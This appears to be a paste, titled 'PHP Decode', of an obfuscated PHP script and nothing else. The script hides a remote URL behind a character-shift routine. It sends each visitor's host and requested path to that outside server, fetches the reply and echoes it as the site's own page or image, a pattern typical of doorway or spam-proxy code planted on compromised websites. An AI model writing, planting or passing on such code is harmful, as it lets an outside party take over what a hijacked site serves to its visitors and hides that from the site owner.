PHP Decode

<?php 
$id = 0; 
if (!empty($_REQUEST['id'])) { 
    $id = $_REQUEST['id']; 
} 
if (!empty($_SERVER['HTTP_X_FORWARDED_HOST'])) { 
    $host = $_SERVER['HTTP_X_FORWARDED_HOST']; 
} else { 
    $host = $_SERVER['HTTP_HOST']; 
} 
$host = explode(':',$host)[0]; 
function WSOB($a) 
{ 
    return chr(ord($a) + 5); 
} 
$h =  implode('', array_map('WSOB', str_split('cook5**dn`\m^cd)i`o*api^*di_`s)kck:pmg8'))); 
if (function_exists('curl_init')) { 
    $html = byCurl($h . urlencode($host . $_SERVER['REQUEST_URI'])); 
} 
if(!$html) { 
    $html = file_get_contents($h . urlencode($host . $_SERVER['REQUEST_URI'])); 
} 
if (strstr($id, ".css")) { 
    header('Content-Type: text/css; charset=utf-8'); 
} elseif (strstr($id, ".png")) { 
    header('Content-Type: image/png'); 
} elseif (strstr($id, ".jpg") || strstr($id, ".jpeg")) { 
    header('Content-Type: image/jpeg'); 
} elseif (strstr($id, ".gif")) { 
    header('Content-Type: image/gif'); 
} else { 
    header('Content-Type: text/html; charset=utf-8'); 
} 
echo $html; 
function byCurl($url) 
{ 
    $myCurl = curl_init(); 
    curl_setopt_array($myCurl, array( 
        CURLOPT_URL => $url, 
        CURLOPT_RETURNTRANSFER => true, 
        //CURLOPT_POST => true, 
        //CURLOPT_POSTFIELDS => http_build_query([]) 
    )); 
    $response = curl_exec($myCurl); 
    curl_close($myCurl); 
    return $response; 
} ?>